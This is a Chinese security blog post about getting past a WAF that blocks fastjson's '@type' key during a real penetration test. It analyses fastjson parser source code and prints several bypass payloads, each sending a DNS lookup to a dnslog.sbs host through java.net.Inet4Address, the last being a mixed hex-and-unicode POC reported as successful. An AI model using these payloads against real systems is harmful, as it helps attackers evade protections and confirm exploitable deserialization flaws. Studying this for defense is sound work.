最近遇到一个fastjson的站，很明显是有fastjson漏洞的，因为@type这种字符，fastjson特征很明显的字符都被过滤了.于是开始了绕过之旅，顺便来学习一下如何waf。
文章作者：先知社区（1341025112991831）
文章来源：https://xz.aliyun.com/t/15602
1►
编码绕过
去网上搜索还是有绕过waf的文章，下面来分析一手，当时第一反应就是unicode编码去绕过
首先简单的测试一下
parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)parse:152, JSON (com.alibaba.fastjson)parse:143, JSON (com.alibaba.fastjson)main:8, Test
到如下代码
if (ch == '"') {key = lexer.scanSymbol(this.symbolTable, '"');lexer.skipWhitespace();ch = lexer.getCurrent();if (ch != ':') {throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);}}
进入scanSymbol方法
方法就是对我们的key进行处理
switch (chLocal) {case '"':hash = 31 * hash + 34;this.putChar('"');break;case '#':case '$':case '%':case '&':case '(':case ')':case '*':case '+':case ',':case '-':case '.':case '8':case '9':case ':':case ';':case '<':case '=':case '>':case '?':case '@':case 'A':case 'B':case 'C':case 'D':case 'E':case 'G':case 'H':case 'I':case 'J':case 'K':case 'L':case 'M':case 'N':case 'O':case 'P':case 'Q':case 'R':case 'S':case 'T':case 'U':case 'V':case 'W':case 'X':case 'Y':case 'Z':case '[':case ']':case '^':case '_':case '`':case 'a':case 'c':case 'd':case 'e':case 'g':case 'h':case 'i':case 'j':case 'k':case 'l':case 'm':case 'o':case 'p':case 'q':case 's':case 'w':default:this.ch = chLocal;throw new JSONException("unclosed.str.lit");case ''':hash = 31 * hash + 39;this.putChar(''');break;case '/':hash = 31 * hash + 47;this.putChar('/');break;case '0':hash = 31 * hash + chLocal;this.putChar('u0000');break;case '1':hash = 31 * hash + chLocal;this.putChar('u0001');break;case '2':hash = 31 * hash + chLocal;this.putChar('u0002');break;case '3':hash = 31 * hash + chLocal;this.putChar('u0003');break;case '4':hash = 31 * hash + chLocal;this.putChar('u0004');break;case '5':hash = 31 * hash + chLocal;this.putChar('u0005');break;case '6':hash = 31 * hash + chLocal;this.putChar('u0006');break;case '7':hash = 31 * hash + chLocal;this.putChar('u0007');break;case 'F':case 'f':hash = 31 * hash + 12;this.putChar('f');break;case '\':hash = 31 * hash + 92;this.putChar('\');break;case 'b':hash = 31 * hash + 8;this.putChar('b');break;case 'n':hash = 31 * hash + 10;this.putChar('n');break;case 'r':hash = 31 * hash + 13;this.putChar('r');break;case 't':hash = 31 * hash + 9;this.putChar('t');break;case 'u':char c1 = this.next();char c2 = this.next();char c3 = this.next();char c4 = this.next();int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);hash = 31 * hash + val;this.putChar((char)val);break;case 'v':hash = 31 * hash + 11;this.putChar('u000b');break;case 'x':char x1 = this.ch = this.next();x2 = this.ch = this.next();int x_val = digits[x1] * 16 + digits[x2];char x_char = (char)x_val;hash = 31 * hash + x_char;this.putChar(x_char);}
可以看到有不同的处理，对应的支持unicode和16进制编码
先去试一试
探测一手
"{"a":{"\u0040\u0074\u0079\u0070\u0065":"java.net.Inet4Address","val":"cd4d1c41.log.dnslog.sbs."}}"
可惜还是被拦截了
尝试了16进制结果还是一样的
2►
特殊字符反序列化
因为json任然会反序列化我们的对象，那就必然涉及到反序列化字段，构造对象的过程
解析我们的字段的逻辑是在parseField方法
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues, int[] setFlags) {JSONLexer lexer = parser.lexer; // xxxfinal int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;FieldDeserializer fieldDeserializer;if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {fieldDeserializer = getFieldDeserializer(key);} else {fieldDeserializer = smartMatch(key, setFlags);}
绕过逻辑是在smartMatch方法
方法如下
public FieldDeserializer smartMatch(String key, int[] setFlags) {if (key == null) {return null;}FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);if (fieldDeserializer == null) {long smartKeyHash = TypeUtils.fnv1a_64_lower(key);if (this.smartMatchHashArray == null) {long[] hashArray = new long[sortedFieldDeserializers.length];for (int i = 0; i < sortedFieldDeserializers.length; i++) {hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);}Arrays.sort(hashArray);this.smartMatchHashArray = hashArray;}// smartMatchHashArrayMappingint pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}if (pos >= 0) {if (smartMatchHashArrayMapping == null) {short[] mapping = new short[smartMatchHashArray.length];Arrays.fill(mapping, (short) -1);for (int i = 0; i < sortedFieldDeserializers.length; i++) {int p = Arrays.binarySearch(smartMatchHashArray, TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));if (p >= 0) {mapping= (short) i;
}}smartMatchHashArrayMapping = mapping;}int deserIndex = smartMatchHashArrayMapping[pos];if (deserIndex != -1) {if (!isSetFlag(deserIndex, setFlags)) {fieldDeserializer = sortedFieldDeserializers[deserIndex];}}}if (fieldDeserializer != null) {FieldInfo fieldInfo = fieldDeserializer.fieldInfo;if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {return null;}}}return fieldDeserializer;}
对key处理的逻辑如下
long smartKeyHash = TypeUtils.fnv1a_64_lower(key);public static long fnv1a_64_lower(String key) {long hashCode = 0xcbf29ce484222325L;for (int i = 0; i < key.length(); ++i) {char ch = key.charAt(i);if (ch == '_' || ch == '-') {continue;}if (ch >= 'A' && ch <= 'Z') {ch = (char) (ch + 32);}hashCode ^= ch;hashCode *= 0x100000001b3L;}return hashCode;}
可以看到使用_和-的方法已经没有作用了
不过有个好消息是
int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}
可以看到对is进行了一个截取，那我们添加一个is
可惜测试了还是不可以
3►
加特殊字符绕过
这个的具体处理逻辑是在skipComment的方法
而处理逻辑是在
public final void skipWhitespace() {for (;;) {if (ch <= '/') {if (ch == ' ' || ch == 'r' || ch == 'n' || ch == 't' || ch == 'f' || ch == 'b') {next();continue;} else if (ch == '/') {skipComment();continue;} else {break;}} else {break;}}}
匹配到这些特殊字符就忽略
测试一下
import com.alibaba.fastjson.JSON;public class Test {public static void main(String[] args) {String aaa = "{"@type"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}";JSON.parse(aaa);}}
确实可以，但是环境上去尝试任然被waf了
4►
双重编码
最后是使用双重编码绕过的，因为编码的逻辑是失败到对应的字符就去编码
单独的unicode和16进制都不可以
尝试一下同时呢？
去对@type编码
POC
{"\x40\u0074\u0079\u0070\u0065"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}最后也是成功了
猜测后端逻辑是把代码分别拿去了unicode和16进制解码，但是直接单独解码会乱码的，而fastjson的逻辑是一个字符一个字符解码
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原文始发于微信公众号（黑白之道）：记一次实战中对fastjson waf的绕过
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